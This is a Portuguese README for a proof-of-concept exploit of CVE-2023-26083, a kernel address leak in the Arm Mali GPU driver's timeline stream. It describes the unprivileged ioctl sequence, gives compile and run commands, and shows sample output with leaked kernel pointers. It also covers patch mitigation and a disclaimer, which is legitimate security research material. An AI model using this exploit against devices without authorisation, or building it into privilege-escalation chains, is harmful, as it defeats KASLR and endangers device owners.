CVE-2023-26083 – Vazamento de endereço do kernel da GPU Mali via Timeline Stream

Este repositório contém uma prova de conceito (PoC) para a CVE-2023-26083, uma vulnerabilidade no driver da GPU Mali (Arm Mali GPU Kernel Driver) que permite a um usuário não privilegiado vazar ponteiros do kernel e informações internas sensíveis através da timeline stream (/dev/mali0).

Visão Geral da Vulnerabilidade

O driver da GPU Mali fornece um recurso de “timeline stream” (tlstream) para perfilamento e depuração. Esse stream exporta eventos que contêm ponteiros brutos do kernel (por exemplo, endereços de kbase_context, kbase_gpu, kbase_lpu, espaços de endereço, atoms, etc.). Normalmente, o acesso a este stream exigiria a flag BASE_CONTEXT_CREATE_FLAG_MONITOR. No entanto, devido a uma verificação de permissão ausente no manipulador KBASE_IOCTL_TLSTREAM_ACQUIRE, qualquer processo (mesmo sem a flag de monitor) pode obter um descritor de arquivo para a timeline stream e ler endereços de memória do kernel.

Impacto:

Vazar ponteiros do kernel neutraliza o KASLR (Kernel Address Space Layout Randomization).
Combinado com outras vulnerabilidades (ex.: use-after-free, escrita arbitrária), pode levar à escalada de privilégios ou execução arbitrária de código no kernel.
O vazamento em si expõe o estado interno do driver e pode ser usado para fingerprinting.

Versões Afetadas

Versões do Arm Mali GPU Kernel Driver anteriores à correção da CVE-2023-26083.

Compilação e Execução

Pré-requisitos

Um dispositivo com uma GPU Mali (ex.: Exynos, MediaTek, alguns SoCs Rockchip).
Não é necessário acesso root – a PoC funciona como um usuário não privilegiado.
O kernel deve ter o driver Mali embutido ou como módulo (/dev/mali0 deve existir).

Compilação

Como o código é autocontido e independente, você pode facilmente compilá-lo de forma cruzada usando ferramentas padrão.

1. Para Android (Recomendado)

Use a toolchain do Android NDK para compilar para dispositivos ARM64. É altamente recomendável usar ligação estática para evitar problemas de compatibilidade do linker dinâmico em diferentes versões do Android:

aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. Para Desktops/Placas Linux baseados em ARM

Se você estiver testando em uma placa de desenvolvimento ARM (como Raspberry Pi ou Odroid) que tenha uma GPU Mali e execute uma distribuição Linux padrão:

gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

Execução

./mali_tlstream_leak

O programa irá:

Abrir /dev/mali0.
Realizar uma verificação de versão.
Definir as flags para BASE_CONTEXT_CREATE_FLAG_NONE (nenhum privilégio de monitor).
Adquirir a timeline stream (ioctl vulnerável).
Ler pacotes da timeline por alguns segundos.
Analisar e exibir os vazamentos de ponteiros do kernel (marcados com *** KERNEL).

Exemplo de Saída

Nota: Esta Prova de Conceito (PoC) foi testada apenas em um Samsung Galaxy J7 Prime rodando Android 8.1.0 (Kernel 3.18) com o nível de patch de segurança de 1º de abril de 2020.

on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0

Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
  [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
  [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
  [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
  [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
  [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
  [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
  [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
  [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
  [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
  [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
  [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
  [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
  [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
  [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
  [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
  [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
  [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
  [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
  [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
  [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
  [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
  [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
  [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
  [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
  [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
  [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613

Conforme mostrado, a PoC vaza com sucesso múltiplos endereços do kernel:

Objetos LPU (Unidade de Processamento Lógico)
Objetos de Espaço de Endereço (AS)
Objeto GPU
Objetos de Contexto (kbase_context)

Explicação do Código

Os passos principais são:

Abrir /dev/mali0 – interface padrão do dispositivo Mali.
KBASE_IOCTL_VERSION_CHECK – necessário para inicializar o contexto do driver.
KBASE_IOCTL_SET_FLAGS – define create_flags como BASE_CONTEXT_CREATE_FLAG_NONE (nenhum privilégio de monitor).
Isso normalmente bloquearia o acesso ao tlstream, mas o bug permite a bypass.
KBASE_IOCTL_TLSTREAM_ACQUIRE – obtém um novo descritor de arquivo para a timeline stream.
Apesar da flag de monitor ausente, o ioctl retorna um fd válido.
read() – lê os pacotes brutos da timeline.
Parser – decodifica o cabeçalho do pacote e as mensagens de evento da timeline, extraindo ponteiros do kernel.

Mitigação / Patch

Atualize seu kernel para uma versão que inclua a correção para CVE-2023-26083.
Alternativamente, se você é fabricante, aplique o patch da Arm ou da árvore estável do kernel Linux.

Aviso Legal

Este código é fornecido apenas para fins educacionais e de pesquisa em segurança.
Usar este exploit em sistemas sem permissão explícita pode violar leis aplicáveis. O autor não se responsabiliza por qualquer uso indevido ou dano causado por este software. Utilize-o apenas em dispositivos que você possui ou para os quais tenha autorização por escrito para testar.

Referências

Autor

Noveris

CVE-2023-26083

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